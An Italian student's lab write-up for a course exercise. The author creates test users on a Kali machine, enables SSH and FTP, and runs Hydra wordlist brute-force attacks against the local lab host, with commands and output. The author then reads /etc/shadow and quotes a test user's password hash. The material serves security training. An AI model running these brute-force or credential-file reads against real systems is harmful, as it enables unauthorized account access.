Esercizio S6L5

Come da richiesta esercizio dobbiamo andare a creare un profilo in Kali Linux SSH e successivamente andare a crackare la password.

```
┌──(kali㉿kali)-[~]
└─$ sudo su
[sudo] password for kali:
┌──(root㉿kali)-[/home/kali]
└─# sudo apt update
Get:1 http://kali.download/kali kali-rolling InRelease [41.5 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 Packages [20.2 MB]
Get:3 http://kali.download/kali kali-rolling/main amd64 Contents (deb) [48.3 MB]
Get:4 http://kali.download/kali kali-rolling/non-free amd64 Packages [197 kB]
Get:5 http://kali.download/kali kali-rolling/non-free amd64 Contents (deb) [876 kB]
Get:6 http://kali.download/kali kali-rolling/contrib amd64 Packages [112 kB]
Get:7 http://kali.download/kali kali-rolling/contrib amd64 Contents (deb) [273 kB]
Fetched 70.1 MB in 22s (3,116 kB/s)
1728 packages can be upgraded. Run 'apt list --upgradable' to see them.
Notice: Repository 'Kali Linux' changed its 'non-free component' value from 'non-free' to 'non-free non-free-firmwa
Notice: More information about this can be found online at: https://www.kali.org/blog/non-free-firmware-transition/

┌──(root㉿kali)-[/home/kali]
└─# sudo adduser  test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
```

- Aggiorniamo la macchina Kali;
- creiamo un user che chiameremo test_user;

```
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

┌──(root㉿kali)-[/home/kali]
└─# sudo service ssh start

┌──(root㉿kali)-[/home/kali]
└─# ssh test_user@192.168.178.51
The authenticity of host '192.168.178.51 (192.168.178.51)' can't be established.
ED25519 key fingerprint is SHA256:muTsTgVnMrz68XcjYus0wA4Lrh312j5Iwptwunz5fOQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.178.51' (ED25519) to the list of known hosts.
test_user@192.168.178.51's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(test_user㉿kali)-[~]
```

Avviamo il servizio SSH ed abilitiamo l'utente appena creato al servizio;

Ci assicuriamo che il servizio sia attivo;

Aggiorniamo le librerie seclists;

Avviamo la scansione utilizzando il tool Hydra col comando:
hydra -l test_user -P
/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.178.51 -t4
ssh
ed aspettiamo che Hydra trovi la password.

Ecco il risultato ottenuto.

Per la seconda parte dell'esercizio dobbiamo scegliere un'altro servizio, configurarlo e procedere, come sopra, all'avvio di Hydra per scoprire la password.
Si è deciso di abilitare il servizio ftp;

Dopo averlo abilitato abbiamo anche creato un utente col nome testuser;

```
(root@kali)-[/home/kali/Desktop]
# hydra -l testuser -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.178.51 -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for ill
egal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 05:34:20
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent
overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1000000 login tries (l:1/p:1000000), ~250000 tries per task
[DATA] attacking ftp://192.168.178.51:21/
[STATUS] 72.00 tries/min, 72 tries in 00:01h, 999928 to do in 231:28h, 4 active
[STATUS] 70.67 tries/min, 212 tries in 00:03h, 999788 to do in 235:48h, 4 active
[STATUS] 69.43 tries/min, 486 tries in 00:07h, 999514 to do in 239:57h, 4 active
[STATUS] 70.40 tries/min, 1056 tries in 00:15h, 998944 to do in 236:30h, 4 active
[STATUS] 70.19 tries/min, 2176 tries in 00:31h, 997824 to do in 236:56h, 4 active
[STATUS] 70.34 tries/min, 3306 tries in 00:47h, 996694 to do in 236:10h, 4 active
[STATUS] 70.35 tries/min, 4432 tries in 01:03h, 995568 to do in 235:52h, 4 active
[STATUS] 70.46 tries/min, 5566 tries in 01:19h, 994434 to do in 235:15h, 4 active
[STATUS] 70.46 tries/min, 6694 tries in 01:35h, 993306 to do in 234:57h, 4 active
```

Abbiamo lanciato Hydra, questa volta col comando:
hydra -l testuser -P
/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.178.51 -t4
ftp

Un modo veloce per recuperare la password non lo saprei.
Ho aperto il file /etc/shadow dove sono salvati tutti gli utenti con le password che sono
cryptate.
Ho capito che per il testuser la stringa è questa:
testuser:yj9T$EbPT7gr2PNleokasPhwqb/$y/VQT2exgBCGKwc6MMsx/hWsK3Fq4Ffr/Wr3
5.oFZR4:20035:0:99999:7:::

e che quindi la pass cryptata è questa :
yj9T$EbPT7gr2PNleokasPhwqb/$y/VQT2exgBCGKwc6MMsx/hWsK3Fq4Ffr/Wr35.oFZR4
nel formato bcrypt.